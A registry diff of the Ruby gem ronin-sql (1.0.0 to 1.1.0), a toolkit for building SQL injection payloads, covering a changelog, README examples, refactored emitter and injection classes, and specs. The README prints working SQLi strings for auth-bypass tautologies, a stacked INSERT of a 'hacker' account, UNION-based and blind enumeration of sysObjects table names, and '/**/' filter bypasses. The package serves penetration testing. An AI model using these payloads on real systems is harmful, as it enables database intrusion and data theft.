ronin-sql 1.0.0 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/ChangeLog.md +12 -0
- data/README.md +68 -6
- data/lib/ronin/sql/binary_expr.rb +2 -0
- data/lib/ronin/sql/clause.rb +2 -0
- data/lib/ronin/sql/clauses.rb +13 -0
- data/lib/ronin/sql/emittable.rb +4 -0
- data/lib/ronin/sql/emitter.rb +52 -21
- data/lib/ronin/sql/field.rb +4 -12
- data/lib/ronin/sql/fields.rb +2 -0
- data/lib/ronin/sql/function.rb +2 -0
- data/lib/ronin/sql/functions.rb +2 -0
- data/lib/ronin/sql/injection.rb +16 -26
- data/lib/ronin/sql/injection_expr.rb +113 -0
- data/lib/ronin/sql/literal.rb +2 -0
- data/lib/ronin/sql/literals.rb +2 -0
- data/lib/ronin/sql/operators.rb +3 -1
- data/lib/ronin/sql/sql.rb +10 -0
- data/lib/ronin/sql/statement.rb +2 -0
- data/lib/ronin/sql/statement_list.rb +2 -0
- data/lib/ronin/sql/statements.rb +2 -0
- data/lib/ronin/sql/unary_expr.rb +3 -1
- data/lib/ronin/sql/version.rb +1 -1
- data/spec/sql/clauses_spec.rb +3 -0
- data/spec/sql/emitter_spec.rb +65 -10
- data/spec/sql/injection_expr_spec.rb +98 -0
- data/spec/sql/injection_spec.rb +3 -64
- data/spec/sql/operators_spec.rb +1 -1
- metadata +4 -2
data/ChangeLog.md
CHANGED
@@ -1,3 +1,15 @@
|
|
1
|
+
### 1.1.0 / 2013-01-22
|
2
|
+
|
3
|
+
* Added {Ronin::SQL::InjectionExpr}, so that statements specified within
|
4
|
+
`and { }`, `or { }` blocks would not be appending to the
|
5
|
+
{Ronin::SQL::Injection} object.
|
6
|
+
* Made {Ronin::SQL::Field} emittable.
|
7
|
+
* Added {Ronin::SQL::Emitter#emit_argument}, so that any sub-statements will
|
8
|
+
be wrapped in `( )`.
|
9
|
+
* Improved {Ronin::SQL::Emitter#emit_field}.
|
10
|
+
* Fixed {Ronin::SQL::Emitter#emit} to pass {Ronin::SQL::Function}s to
|
11
|
+
{Ronin::SQL::Emitter#emit_function}.
|
12
|
+
|
1
13
|
### 1.0.0 / 2013-01-21
|
2
14
|
|
3
15
|
* Require [Ruby] >= 1.9.1.
|
data/README.md
CHANGED
@@ -8,13 +8,13 @@
|
|
8
8
|
|
9
9
|
## Description
|
10
10
|
|
11
|
-
{Ronin::SQL} is a Ruby DSL for crafting SQL Injections (SQLi).
|
11
|
+
{Ronin::SQL} is a Ruby DSL for crafting [SQL Injections (SQLi)][SQLi].
|
12
12
|
|
13
13
|
### Features
|
14
14
|
|
15
15
|
* Provides convenience methods for encoding/decoding SQL data.
|
16
16
|
* Provides an Domain Specific Language (DSL) for crafting normal SQL and
|
17
|
-
SQL injections.
|
17
|
+
[SQL injections][SQLi].
|
18
18
|
|
19
19
|
## Examples
|
20
20
|
|
@@ -43,9 +43,16 @@ Hex decode a String:
|
|
43
43
|
|
44
44
|
### SQLi DSL
|
45
45
|
|
46
|
-
Injecting a `1=1` test into a
|
46
|
+
Injecting a `1=1` test into a Integer comparison:
|
47
47
|
|
48
|
-
sqli = Ronin::SQL::Injection.new
|
48
|
+
sqli = Ronin::SQL::Injection.new
|
49
|
+
sqli.or { 1 == 1 }
|
50
|
+
puts sqli
|
51
|
+
# 1 OR 1=1
|
52
|
+
|
53
|
+
Injecting a `1=1` test into a String comparison:
|
54
|
+
|
55
|
+
sqli = Ronin::SQL::Injection.new(escape: :string)
|
49
56
|
sqli.or { string(1) == string(1) }
|
50
57
|
puts sqli
|
51
58
|
# 1' OR '1'='1
|
@@ -62,16 +69,69 @@ Clauses:
|
|
62
69
|
sqli = Ronin::SQL::Injection.new
|
63
70
|
sqli.or { 1 == 1 }.limit(0)
|
64
71
|
puts sqli
|
65
|
-
# 1
|
72
|
+
# 1 OR 1=1 LIMIT 0
|
66
73
|
|
67
74
|
Statements:
|
68
75
|
|
76
|
+
sqli = Ronin::SQL::Injection.new
|
77
|
+
sqli.and { 1 == 0 }
|
78
|
+
sqli.insert.into(:users).values('hacker','passw0rd','t')
|
79
|
+
puts sqli
|
80
|
+
# 1 AND 1=0; INSERT INTO users VALUES ('hacker','passw0rd','t')
|
81
|
+
|
82
|
+
Sub-Statements:
|
83
|
+
|
69
84
|
sqli = Ronin::SQL::Injection.new
|
70
85
|
sqli.union { select(1,2,3,4,id).from(users) }
|
71
86
|
puts sqli
|
72
87
|
# 1 UNION SELECT (1,2,3,4,id) FROM users
|
73
88
|
|
74
|
-
|
89
|
+
Test if a table exists:
|
90
|
+
|
91
|
+
sqli = Ronin::SQL::Injection.new
|
92
|
+
sqli.and { select(count).from(:users) == 1 }
|
93
|
+
puts sqli
|
94
|
+
# 1 AND (SELECT COUNT(*) FROM users)=1
|
95
|
+
|
96
|
+
Create errors by using non-existant tables:
|
97
|
+
|
98
|
+
sqli = Ronin::SQL::Injection.new(escape: :string)
|
99
|
+
sqli.and { non_existant_table == '1' }
|
100
|
+
puts sqli
|
101
|
+
# 1' AND non_existant_table='1
|
102
|
+
|
103
|
+
Dumping all values of a column:
|
104
|
+
|
105
|
+
sqli = Ronin::SQL::Injection.new(escape: :string)
|
106
|
+
sqli.or { username.is_not(null) }.or { username == '' }
|
107
|
+
puts sqli
|
108
|
+
# 1' OR username IS NOT NULL OR username='
|
109
|
+
|
110
|
+
Enumerate through database table names:
|
111
|
+
|
112
|
+
sqli = Ronin::SQL::Injection.new
|
113
|
+
sqli.and {
|
114
|
+
ascii(
|
115
|
+
lower(
|
116
|
+
substring(
|
117
|
+
select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1
|
118
|
+
)
|
119
|
+
)
|
120
|
+
) > 116
|
121
|
+
}
|
122
|
+
puts sqli
|
123
|
+
# 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116
|
124
|
+
|
125
|
+
Find user supplied tables via the `sysObjects` table:
|
126
|
+
|
127
|
+
sqli = Ronin::SQL::Injection.new
|
128
|
+
sqli.union_all {
|
129
|
+
select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }
|
130
|
+
}
|
131
|
+
puts sqli.to_sql(:terminate => true)
|
132
|
+
# 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--
|
133
|
+
|
134
|
+
Bypass filters using `/**/` instead of spaces:
|
75
135
|
|
76
136
|
sqli = Ronin::SQL::Injection.new
|
77
137
|
sqli.union { select(1,2,3,4,id).from(users) }
|
@@ -107,4 +167,6 @@ GNU General Public License for more details.
|
|
107
167
|
You should have received a copy of the GNU General Public License
|
108
168
|
along with Ronin Asm. If not, see <http://www.gnu.org/licenses/>.
|
109
169
|
|
170
|
+
[SQLi]: http://en.wikipedia.org/wiki/SQL_injection
|
171
|
+
|
110
172
|
[Ruby]: http://www.ruby-lang.org
|
data/lib/ronin/sql/clause.rb
CHANGED
data/lib/ronin/sql/clauses.rb
CHANGED
@@ -25,6 +25,8 @@ module Ronin
|
|
25
25
|
#
|
26
26
|
# Methods for creating common SQL {Clause Clauses}.
|
27
27
|
#
|
28
|
+
# @api public
|
29
|
+
#
|
28
30
|
module Clauses
|
29
31
|
#
|
30
32
|
# The defined clauses of the statement.
|
@@ -170,6 +172,17 @@ module Ronin
|
|
170
172
|
clause(:UNION,&block)
|
171
173
|
end
|
172
174
|
|
175
|
+
#
|
176
|
+
# Appends a `UNION ALL` clause.
|
177
|
+
#
|
178
|
+
# @return [self]
|
179
|
+
#
|
180
|
+
# @since 1.1.0
|
181
|
+
#
|
182
|
+
def union_all(&block)
|
183
|
+
clause([:UNION, :ALL],&block)
|
184
|
+
end
|
185
|
+
|
173
186
|
#
|
174
187
|
# Appends a `GROUP BY` clause.
|
175
188
|
#
|
data/lib/ronin/sql/emittable.rb
CHANGED
@@ -27,12 +27,16 @@ module Ronin
|
|
27
27
|
#
|
28
28
|
# Allows an object to be converted to raw SQL.
|
29
29
|
#
|
30
|
+
# @api public
|
31
|
+
#
|
30
32
|
module Emittable
|
31
33
|
#
|
32
34
|
# Creates a new emitter.
|
33
35
|
#
|
34
36
|
# @param [Hash] options
|
35
37
|
# Additional options for {Emitter#initialize}.
|
38
|
+
#
|
39
|
+
# @api private
|
36
40
|
#
|
37
41
|
def emitter(options={})
|
38
42
|
Emitter.new(options)
|
data/lib/ronin/sql/emitter.rb
CHANGED
@@ -27,6 +27,8 @@ module Ronin
|
|
27
27
|
#
|
28
28
|
# Generates raw SQL.
|
29
29
|
#
|
30
|
+
# @api private
|
31
|
+
#
|
30
32
|
class Emitter
|
31
33
|
|
32
34
|
# The case to use when emitting keywords
|
@@ -89,18 +91,16 @@ module Ronin
|
|
89
91
|
#
|
90
92
|
# Emits a SQL operator.
|
91
93
|
#
|
92
|
-
# @param [Symbol] op
|
94
|
+
# @param [Array<Symbol>, Symbol] op
|
93
95
|
# The operator symbol.
|
94
96
|
#
|
95
97
|
# @return [String]
|
96
98
|
# The raw SQL.
|
97
99
|
#
|
98
100
|
def emit_operator(op)
|
99
|
-
op = op.to_s
|
100
|
-
|
101
101
|
case op
|
102
|
-
when
|
103
|
-
else
|
102
|
+
when /^\W+$/ then op.to_s
|
103
|
+
else emit_keyword(op)
|
104
104
|
end
|
105
105
|
end
|
106
106
|
|
@@ -182,7 +182,13 @@ module Ronin
|
|
182
182
|
# The raw SQL.
|
183
183
|
#
|
184
184
|
def emit_field(field)
|
185
|
-
field.
|
185
|
+
name = emit_keyword(field.name)
|
186
|
+
|
187
|
+
if field.parent
|
188
|
+
name = "#{emit_field(field.parent)}.#{name}"
|
189
|
+
end
|
190
|
+
|
191
|
+
return name
|
186
192
|
end
|
187
193
|
|
188
194
|
#
|
@@ -213,6 +219,24 @@ module Ronin
|
|
213
219
|
}.join(',')
|
214
220
|
end
|
215
221
|
|
222
|
+
#
|
223
|
+
# Emits a value used in an expression.
|
224
|
+
#
|
225
|
+
# @param [Statement, #to_sql] operand
|
226
|
+
# The operand to emit.
|
227
|
+
#
|
228
|
+
# @return [String]
|
229
|
+
# The raw SQL.
|
230
|
+
#
|
231
|
+
# @since 1.1.0
|
232
|
+
#
|
233
|
+
def emit_argument(operand)
|
234
|
+
case operand
|
235
|
+
when Statement then "(#{emit_statement(operand)})"
|
236
|
+
else emit(operand)
|
237
|
+
end
|
238
|
+
end
|
239
|
+
|
216
240
|
#
|
217
241
|
# Emits a SQL expression.
|
218
242
|
#
|
@@ -227,22 +251,18 @@ module Ronin
|
|
227
251
|
|
228
252
|
case expr
|
229
253
|
when BinaryExpr
|
230
|
-
left, right =
|
231
|
-
|
232
|
-
left = "(#{left})" if expr.left.kind_of?(Statement)
|
233
|
-
right = "(#{right})" if expr.right.kind_of?(Statement)
|
254
|
+
left, right = emit_argument(expr.left), emit_argument(expr.right)
|
234
255
|
|
235
256
|
case op
|
236
|
-
when /^\
|
237
|
-
else
|
257
|
+
when /^\W+$/ then "#{left}#{op}#{right}"
|
258
|
+
else [left, op, right].join(@space)
|
238
259
|
end
|
239
260
|
when UnaryExpr
|
240
|
-
operand =
|
241
|
-
operand = "(#{operand})" if expr.operand.kind_of?(Statement)
|
261
|
+
operand = emit_argument(expr.operand)
|
242
262
|
|
243
|
-
case
|
244
|
-
when /^\
|
245
|
-
else
|
263
|
+
case expr.operator
|
264
|
+
when /^\W+$/ then "#{op}#{operand}"
|
265
|
+
else [op, operand].join(@space)
|
246
266
|
end
|
247
267
|
end
|
248
268
|
end
|
@@ -258,7 +278,7 @@ module Ronin
|
|
258
278
|
#
|
259
279
|
def emit_function(function)
|
260
280
|
name = emit_keyword(function.name)
|
261
|
-
arguments = function.arguments.map { |
|
281
|
+
arguments = function.arguments.map { |value| emit_argument(value) }
|
262
282
|
|
263
283
|
return "#{name}(#{arguments.join(',')})"
|
264
284
|
end
|
@@ -284,10 +304,12 @@ module Ronin
|
|
284
304
|
when Float then emit_decimal(object)
|
285
305
|
when String then emit_string(object)
|
286
306
|
when Literal then emit(object.value)
|
287
|
-
when
|
307
|
+
when Symbol then emit_keyword(object)
|
308
|
+
when Field then emit_field(object)
|
288
309
|
when Array then emit_list(object)
|
289
310
|
when Hash then emit_assignments(object)
|
290
311
|
when BinaryExpr, UnaryExpr then emit_expression(object)
|
312
|
+
when Function then emit_function(object)
|
291
313
|
when Clause then emit_clause(object)
|
292
314
|
when Statement then emit_statement(object)
|
293
315
|
when StatementList then emit_statement_list(object)
|
@@ -313,7 +335,7 @@ module Ronin
|
|
313
335
|
sql = emit_keyword(clause.keyword)
|
314
336
|
|
315
337
|
unless clause.argument.nil?
|
316
|
-
sql << @space <<
|
338
|
+
sql << @space << emit_argument(clause.argument)
|
317
339
|
end
|
318
340
|
|
319
341
|
return sql
|
@@ -345,7 +367,16 @@ module Ronin
|
|
345
367
|
sql = emit_keyword(stmt.keyword)
|
346
368
|
|
347
369
|
unless stmt.argument.nil?
|
348
|
-
|
370
|
+
case stmt.argument
|
371
|
+
when Array
|
372
|
+
sql << @space << if stmt.argument.length == 1
|
373
|
+
emit_argument(stmt.argument[0])
|
374
|
+
else
|
375
|
+
emit_list(stmt.argument)
|
376
|
+
end
|
377
|
+
else
|
378
|
+
sql << @space << emit_argument(stmt.argument)
|
379
|
+
end
|
349
380
|
end
|
350
381
|
|
351
382
|
unless stmt.clauses.empty?
|
data/lib/ronin/sql/field.rb
CHANGED
@@ -21,15 +21,19 @@
|
|
21
21
|
#
|
22
22
|
|
23
23
|
require 'ronin/sql/operators'
|
24
|
+
require 'ronin/sql/emittable'
|
24
25
|
|
25
26
|
module Ronin
|
26
27
|
module SQL
|
27
28
|
#
|
28
29
|
# Represents a SQL column, table or database name.
|
29
30
|
#
|
31
|
+
# @api semipublic
|
32
|
+
#
|
30
33
|
class Field < Struct.new(:name,:parent)
|
31
34
|
|
32
35
|
include Operators
|
36
|
+
include Emittable
|
33
37
|
|
34
38
|
#
|
35
39
|
# Initializes the new field.
|
@@ -61,18 +65,6 @@ module Ronin
|
|
61
65
|
return field
|
62
66
|
end
|
63
67
|
|
64
|
-
#
|
65
|
-
# Converts the field to a String.
|
66
|
-
#
|
67
|
-
# @return [String]
|
68
|
-
# The full field name.
|
69
|
-
#
|
70
|
-
def to_s
|
71
|
-
if parent then "#{parent}.#{name}"
|
72
|
-
else name.to_s
|
73
|
-
end
|
74
|
-
end
|
75
|
-
|
76
68
|
alias to_str to_s
|
77
69
|
|
78
70
|
protected
|
data/lib/ronin/sql/fields.rb
CHANGED
data/lib/ronin/sql/function.rb
CHANGED
data/lib/ronin/sql/functions.rb
CHANGED
data/lib/ronin/sql/injection.rb
CHANGED
@@ -20,9 +20,9 @@
|
|
20
20
|
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
21
21
|
#
|
22
22
|
|
23
|
-
require 'ronin/sql/binary_expr'
|
24
23
|
require 'ronin/sql/literals'
|
25
24
|
require 'ronin/sql/clauses'
|
25
|
+
require 'ronin/sql/injection_expr'
|
26
26
|
require 'ronin/sql/statement_list'
|
27
27
|
|
28
28
|
module Ronin
|
@@ -30,6 +30,10 @@ module Ronin
|
|
30
30
|
#
|
31
31
|
# Represents a SQL injection (SQLi).
|
32
32
|
#
|
33
|
+
# @api public
|
34
|
+
#
|
35
|
+
# @see http://en.wikipedia.org/wiki/SQL_injection
|
36
|
+
#
|
33
37
|
class Injection < StatementList
|
34
38
|
|
35
39
|
include Literals
|
@@ -47,9 +51,6 @@ module Ronin
|
|
47
51
|
# The type of element to escape out of
|
48
52
|
attr_reader :escape
|
49
53
|
|
50
|
-
# The place holder data
|
51
|
-
attr_reader :place_holder
|
52
|
-
|
53
54
|
# The expression that will be injected
|
54
55
|
attr_reader :expression
|
55
56
|
|
@@ -78,11 +79,12 @@ module Ronin
|
|
78
79
|
#
|
79
80
|
def initialize(options={},&block)
|
80
81
|
@escape = options.fetch(:escape,:integer)
|
81
|
-
|
82
|
+
|
83
|
+
place_holder = options.fetch(:place_holder) do
|
82
84
|
PLACE_HOLDERS.fetch(@escape)
|
83
85
|
end
|
84
86
|
|
85
|
-
@expression =
|
87
|
+
@expression = InjectionExpr.new(place_holder)
|
86
88
|
|
87
89
|
super(&block)
|
88
90
|
end
|
@@ -90,44 +92,34 @@ module Ronin
|
|
90
92
|
#
|
91
93
|
# Appends an `AND` expression to the injection.
|
92
94
|
#
|
93
|
-
# @yield [(
|
95
|
+
# @yield [(expr)]
|
94
96
|
# The return value of the block will be used as the right-hand side
|
95
97
|
# operand. If the block accepts an argument, it will be called with
|
96
98
|
# the injection.
|
97
99
|
#
|
98
|
-
# @yieldparam [
|
100
|
+
# @yieldparam [InjectionExpr] expr
|
99
101
|
#
|
100
102
|
# @return [self]
|
101
103
|
#
|
102
104
|
def and(&block)
|
103
|
-
|
104
|
-
when 0 then instance_eval(&block)
|
105
|
-
else block.call(self)
|
106
|
-
end
|
107
|
-
|
108
|
-
@expression = BinaryExpr.new(@expression,:AND,value)
|
105
|
+
@expression.and(&block)
|
109
106
|
return self
|
110
107
|
end
|
111
108
|
|
112
109
|
#
|
113
110
|
# Appends an `OR` expression to the injection.
|
114
111
|
#
|
115
|
-
# @yield [(
|
112
|
+
# @yield [(expr)]
|
116
113
|
# The return value of the block will be used as the right-hand side
|
117
114
|
# operand. If the block accepts an argument, it will be called with
|
118
|
-
# the injection.
|
115
|
+
# the injection expression.
|
119
116
|
#
|
120
|
-
# @yieldparam [
|
117
|
+
# @yieldparam [InjectionExp] expr
|
121
118
|
#
|
122
119
|
# @return [self]
|
123
120
|
#
|
124
121
|
def or(&block)
|
125
|
-
|
126
|
-
when 0 then instance_eval(&block)
|
127
|
-
else block.call(self)
|
128
|
-
end
|
129
|
-
|
130
|
-
@expression = BinaryExpr.new(@expression,:OR,value)
|
122
|
+
@expression.or(&block)
|
131
123
|
return self
|
132
124
|
end
|
133
125
|
|
@@ -145,9 +137,7 @@ module Ronin
|
|
145
137
|
#
|
146
138
|
def to_sql(options={})
|
147
139
|
emitter = emitter(options)
|
148
|
-
sql =
|
149
|
-
|
150
|
-
sql << emitter.emit(@expression)
|
140
|
+
sql = @expression.to_sql(options)
|
151
141
|
|
152
142
|
unless clauses.empty?
|
153
143
|
sql << emitter.space << emitter.emit_clauses(clauses)
|
@@ -0,0 +1,113 @@
|
|
1
|
+
#
|
2
|
+
# Ronin SQL - A Ruby DSL for crafting SQL Injections.
|
3
|
+
#
|
4
|
+
# Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
|
5
|
+
#
|
6
|
+
# This file is part of Ronin SQL.
|
7
|
+
#
|
8
|
+
# This program is free software; you can redistribute it and/or modify
|
9
|
+
# it under the terms of the GNU General Public License as published by
|
10
|
+
# the Free Software Foundation; either version 2 of the License, or
|
11
|
+
# (at your option) any later version.
|
12
|
+
#
|
13
|
+
# This program is distributed in the hope that it will be useful,
|
14
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
15
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
16
|
+
# GNU General Public License for more details.
|
17
|
+
#
|
18
|
+
# You should have received a copy of the GNU General Public License
|
19
|
+
# along with this program; if not, write to the Free Software
|
20
|
+
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
21
|
+
#
|
22
|
+
|
23
|
+
require 'ronin/sql/binary_expr'
|
24
|
+
require 'ronin/sql/literals'
|
25
|
+
require 'ronin/sql/fields'
|
26
|
+
require 'ronin/sql/functions'
|
27
|
+
require 'ronin/sql/statements'
|
28
|
+
require 'ronin/sql/emittable'
|
29
|
+
|
30
|
+
module Ronin
|
31
|
+
module SQL
|
32
|
+
#
|
33
|
+
# @api private
|
34
|
+
#
|
35
|
+
# @since 1.1.0
|
36
|
+
#
|
37
|
+
class InjectionExpr
|
38
|
+
|
39
|
+
include Literals
|
40
|
+
include Fields
|
41
|
+
include Functions
|
42
|
+
include Statements
|
43
|
+
include Emittable
|
44
|
+
|
45
|
+
# The expression that will be injected
|
46
|
+
attr_reader :expression
|
47
|
+
|
48
|
+
#
|
49
|
+
# Initializes the new expression to inject.
|
50
|
+
#
|
51
|
+
# @param [String, Integer, Float, Array, Symbol] initial_value
|
52
|
+
# The initial value for the expression.
|
53
|
+
#
|
54
|
+
def initialize(initial_value)
|
55
|
+
@expression = initial_value
|
56
|
+
end
|
57
|
+
|
58
|
+
#
|
59
|
+
# Appends an `AND` expression to the injection.
|
60
|
+
#
|
61
|
+
# @yield [(self)]
|
62
|
+
# The return value of the block will be used as the right-hand side
|
63
|
+
# operand. If the block accepts an argument, it will be called with
|
64
|
+
# the injection expression.
|
65
|
+
#
|
66
|
+
# @return [self]
|
67
|
+
#
|
68
|
+
def and(&block)
|
69
|
+
value = case block.arity
|
70
|
+
when 0 then instance_eval(&block)
|
71
|
+
else block.call(self)
|
72
|
+
end
|
73
|
+
|
74
|
+
@expression = BinaryExpr.new(@expression,:AND,value)
|
75
|
+
return self
|
76
|
+
end
|
77
|
+
|
78
|
+
#
|
79
|
+
# Appends an `OR` expression to the injection.
|
80
|
+
#
|
81
|
+
# @yield [(self)]
|
82
|
+
# The return value of the block will be used as the right-hand side
|
83
|
+
# operand. If the block accepts an argument, it will be called with
|
84
|
+
# the injection expression.
|
85
|
+
#
|
86
|
+
# @return [self]
|
87
|
+
#
|
88
|
+
def or(&block)
|
89
|
+
value = case block.arity
|
90
|
+
when 0 then instance_eval(&block)
|
91
|
+
else block.call(self)
|
92
|
+
end
|
93
|
+
|
94
|
+
@expression = BinaryExpr.new(@expression,:OR,value)
|
95
|
+
return self
|
96
|
+
end
|
97
|
+
|
98
|
+
#
|
99
|
+
# Emits the injection expression.
|
100
|
+
#
|
101
|
+
# @param [Hash] options
|
102
|
+
# Additional options for {Emitter#initialize}.
|
103
|
+
#
|
104
|
+
# @return [String]
|
105
|
+
# The raw SQL.
|
106
|
+
#
|
107
|
+
def to_sql(options={})
|
108
|
+
emitter(options).emit(@expression)
|
109
|
+
end
|
110
|
+
|
111
|
+
end
|
112
|
+
end
|
113
|
+
end
|
data/lib/ronin/sql/literal.rb
CHANGED
data/lib/ronin/sql/literals.rb
CHANGED
data/lib/ronin/sql/operators.rb
CHANGED
@@ -25,6 +25,8 @@ module Ronin
|
|
25
25
|
#
|
26
26
|
# Methods for creating SQL expressions.
|
27
27
|
#
|
28
|
+
# @api public
|
29
|
+
#
|
28
30
|
# @see http://sqlite.org/lang_expr.html
|
29
31
|
#
|
30
32
|
module Operators
|
@@ -205,7 +207,7 @@ module Ronin
|
|
205
207
|
# The new binary expression.
|
206
208
|
#
|
207
209
|
def is_not(other)
|
208
|
-
BinaryExpr.new(self
|
210
|
+
BinaryExpr.new(self,[:IS, :NOT],other)
|
209
211
|
end
|
210
212
|
|
211
213
|
#
|
data/lib/ronin/sql/sql.rb
CHANGED
@@ -24,6 +24,12 @@ require 'ronin/sql/statement_list'
|
|
24
24
|
require 'ronin/sql/injection'
|
25
25
|
|
26
26
|
module Ronin
|
27
|
+
#
|
28
|
+
# Provides a Domain Specific Language (DSL) for crafting complex
|
29
|
+
# {StatementList SQL} and SQL {Injection Injections} (SQLi).
|
30
|
+
#
|
31
|
+
# @see http://en.wikipedia.org/wiki/SQL_injection
|
32
|
+
#
|
27
33
|
module SQL
|
28
34
|
|
29
35
|
#
|
@@ -44,6 +50,8 @@ module Ronin
|
|
44
50
|
# sql { select(1,2,3,4,id).from(users) }
|
45
51
|
# # => #<Ronin::SQL::StatementList: SELECT (1,2,3,4,id) FROM users>
|
46
52
|
#
|
53
|
+
# @api public
|
54
|
+
#
|
47
55
|
def sql(&block)
|
48
56
|
StatementList.new(&block)
|
49
57
|
end
|
@@ -78,6 +86,8 @@ module Ronin
|
|
78
86
|
# sqli { self.and { 1 == 1 }.select(1,2,3,4,id).from(users) }
|
79
87
|
# # => #<Ronin::SQL::Injection: 1 AND 1=1; SELECT (1,2,3,4,id) FROM users; SELECT (1,2,3,4,id) FROM users>
|
80
88
|
#
|
89
|
+
# @api public
|
90
|
+
#
|
81
91
|
def sqli(options={},&block)
|
82
92
|
Injection.new(options,&block)
|
83
93
|
end
|
data/lib/ronin/sql/statement.rb
CHANGED
data/lib/ronin/sql/statements.rb
CHANGED
data/lib/ronin/sql/unary_expr.rb
CHANGED
data/lib/ronin/sql/version.rb
CHANGED
data/spec/sql/clauses_spec.rb
CHANGED
@@ -29,6 +29,9 @@ describe SQL::Clauses do
|
|
29
29
|
include_examples "Clause", :full_join, [:FULL, :JOIN], :table
|
30
30
|
include_examples "Clause", :on, :ON, proc { id == 1 }
|
31
31
|
include_examples "Clause", :union, :UNION, proc { select(:*).from(:table) }
|
32
|
+
include_examples "Clause", :union_all, [:UNION, :ALL], proc {
|
33
|
+
select(:*).from(:table)
|
34
|
+
}
|
32
35
|
include_examples "Clause", :group_by, [:GROUP, :BY], [:column1, :column2]
|
33
36
|
include_examples "Clause", :having, :HAVING, proc { max(priv) > 100 }
|
34
37
|
include_examples "Clause", :limit, :LIMIT, 100
|
data/spec/sql/emitter_spec.rb
CHANGED
@@ -74,17 +74,17 @@ describe SQL::Emitter do
|
|
74
74
|
end
|
75
75
|
|
76
76
|
describe "#emit_operator" do
|
77
|
-
context "when the operator is
|
78
|
-
|
79
|
-
|
80
|
-
it "should emit a keyword" do
|
81
|
-
subject.emit_operator(:AS).should == 'as'
|
77
|
+
context "when the operator is a symbol" do
|
78
|
+
it "should emit a String" do
|
79
|
+
subject.emit_operator(:"!=").should == '!='
|
82
80
|
end
|
83
81
|
end
|
84
82
|
|
85
83
|
context "otherwise" do
|
86
|
-
|
87
|
-
|
84
|
+
subject { described_class.new(case: :lower) }
|
85
|
+
|
86
|
+
it "should emit a keyword" do
|
87
|
+
subject.emit_operator(:AS).should == 'as'
|
88
88
|
end
|
89
89
|
end
|
90
90
|
end
|
@@ -134,8 +134,21 @@ describe SQL::Emitter do
|
|
134
134
|
end
|
135
135
|
|
136
136
|
describe "#emit_field" do
|
137
|
-
|
138
|
-
|
137
|
+
subject { described_class.new(case: :upper) }
|
138
|
+
|
139
|
+
let(:field) { SQL::Field.new(:id) }
|
140
|
+
|
141
|
+
it "should emit the name as a keyword" do
|
142
|
+
subject.emit_field(field).should == 'ID'
|
143
|
+
end
|
144
|
+
|
145
|
+
context "when the field has a parent" do
|
146
|
+
let(:parent) { SQL::Field.new(:users) }
|
147
|
+
let(:field) { SQL::Field.new(:id,parent) }
|
148
|
+
|
149
|
+
it "should emit the parent then the field name" do
|
150
|
+
subject.emit_field(field).should == 'USERS.ID'
|
151
|
+
end
|
139
152
|
end
|
140
153
|
end
|
141
154
|
|
@@ -153,6 +166,24 @@ describe SQL::Emitter do
|
|
153
166
|
end
|
154
167
|
end
|
155
168
|
|
169
|
+
describe "#emit_argument" do
|
170
|
+
context "when the value is a Statement" do
|
171
|
+
let(:stmt) { SQL::Statement.new(:SELECT,1) }
|
172
|
+
|
173
|
+
it "should wrap the statement in ( )" do
|
174
|
+
subject.emit_argument(stmt).should == '(SELECT 1)'
|
175
|
+
end
|
176
|
+
end
|
177
|
+
|
178
|
+
context "otherwise" do
|
179
|
+
let(:value) { 'hello' }
|
180
|
+
|
181
|
+
it "should emit the value" do
|
182
|
+
subject.emit_argument(value).should == "'hello'"
|
183
|
+
end
|
184
|
+
end
|
185
|
+
end
|
186
|
+
|
156
187
|
describe "#emit_expression" do
|
157
188
|
context "when the expression is a BinaryExpr" do
|
158
189
|
context "when the operator is alphabetic" do
|
@@ -161,7 +192,7 @@ describe SQL::Emitter do
|
|
161
192
|
let(:expr) { SQL::BinaryExpr.new(:id,:is,1) }
|
162
193
|
|
163
194
|
it "should emit the operands and operator as a keyword with spaces" do
|
164
|
-
subject.emit_expression(expr).should == '
|
195
|
+
subject.emit_expression(expr).should == 'ID IS 1'
|
165
196
|
end
|
166
197
|
end
|
167
198
|
|
@@ -327,6 +358,14 @@ describe SQL::Emitter do
|
|
327
358
|
end
|
328
359
|
end
|
329
360
|
|
361
|
+
context "when passed a Function" do
|
362
|
+
let(:func) { SQL::Function.new(:MAX,1,2) }
|
363
|
+
|
364
|
+
it "should emit the function" do
|
365
|
+
subject.emit(func).should == 'MAX(1,2)'
|
366
|
+
end
|
367
|
+
end
|
368
|
+
|
330
369
|
context "when passed a Statment" do
|
331
370
|
let(:stmt) { SQL::Statement.new(:SELECT,1) }
|
332
371
|
|
@@ -423,6 +462,22 @@ describe SQL::Emitter do
|
|
423
462
|
subject.emit_statement(stmt).should == 'select 1'
|
424
463
|
end
|
425
464
|
|
465
|
+
context "when the argument is an Array" do
|
466
|
+
let(:stmt) { SQL::Statement.new(:SELECT,[1,2,3]) }
|
467
|
+
|
468
|
+
it "should emit a list" do
|
469
|
+
subject.emit_statement(stmt).should == 'select (1,2,3)'
|
470
|
+
end
|
471
|
+
|
472
|
+
context "with only one element" do
|
473
|
+
let(:stmt) { SQL::Statement.new(:SELECT,[1]) }
|
474
|
+
|
475
|
+
it "should emit the element" do
|
476
|
+
subject.emit_statement(stmt).should == 'select 1'
|
477
|
+
end
|
478
|
+
end
|
479
|
+
end
|
480
|
+
|
426
481
|
context "with custom :space" do
|
427
482
|
subject { described_class.new(case: :lower, space: '/**/') }
|
428
483
|
|
@@ -0,0 +1,98 @@
|
|
1
|
+
require 'spec_helper'
|
2
|
+
require 'ronin/sql/injection_expr'
|
3
|
+
|
4
|
+
describe SQL::InjectionExpr do
|
5
|
+
let(:initial_value) { 1 }
|
6
|
+
|
7
|
+
subject { described_class.new(initial_value) }
|
8
|
+
|
9
|
+
